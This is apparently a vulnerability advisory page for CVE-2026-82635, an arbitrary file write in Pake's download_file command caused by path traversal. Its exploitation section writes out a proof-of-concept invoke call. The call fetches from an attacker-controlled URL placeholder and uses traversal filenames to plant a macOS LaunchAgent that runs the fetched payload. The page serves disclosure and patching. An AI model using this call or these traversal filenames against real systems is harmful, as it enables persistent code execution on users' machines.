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CVE-2026-82635Pake arbitrary file write via unsanitized download_file filename

Description

Pake before 3.13.1 joins the JavaScript-supplied filename for the download_file Tauri command onto the user's Downloads directory with no sanitization. A filename containing path traversal sequences (for example ../Library/LaunchAgents/com.evil.plist) or an absolute path resolves outside ~/Downloads. The command then fetches attacker-controlled content from the supplied URL (via Rust HTTP, not the browser) and writes it to that path. A script that can invoke the command can overwrite user-writable files and install persistence (macOS LaunchAgents, Linux autostart, Windows Startup), leading to code execution in the user account. All desktop apps generated from an affected Pake tree expose the same command.

Timeline

  1. ID reserved

    By JFROG

  2. Published

  3. · 1 day later

    Record updated

Changes after publication (a new score, a public exploit, EPSS crossing 1, 10 or 50 %, leaving KEV) are kept since November 2026; earlier ones are not known.

Scores

CVSS scores of CVE-2026-82635, by who scored it
Scored byCVSSScoreVector
JFROGCNA (assigner)3.1High8.8CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
NVDNVD · Analyzed3.1High8.8CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS (exploitation in 30 days)
0.63% · top 49% of all CVEs (19 Nov 2026)
CISA SSVC
Exploitation: none · Automatable: no · Technical impact: total
Loading the EPSS history…

The list uses the assigner's score when there is one, then CISA's, then NVD's: High 8.8.

Affected products

What to do

Solution: Upgrade Pake to 3.13.1 or later and rebuild generated apps from that tree. The fix introduces sanitize_download_filename and uses only the final path segment before joining onto the Downloads directory, so ../ and absolute paths cannot escape that directory.

Exploitation: A proof of concept invokes window.__TAURI__.core.invoke('download_file', { params: { url: '<attacker-controlled HTTP URL>', filename: '../pake_write_proof.sh' } }) and a second invoke with filename '../Library/LaunchAgents/com.pake.poc.plist'. The files appear under the user home directory, not ~/Downloads. Loading the LaunchAgent (or the next login) runs the fetched payload in the user session.

References

References3

Sources

The same CVE in the primary databases and aggregators, to check against.

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Record last updated .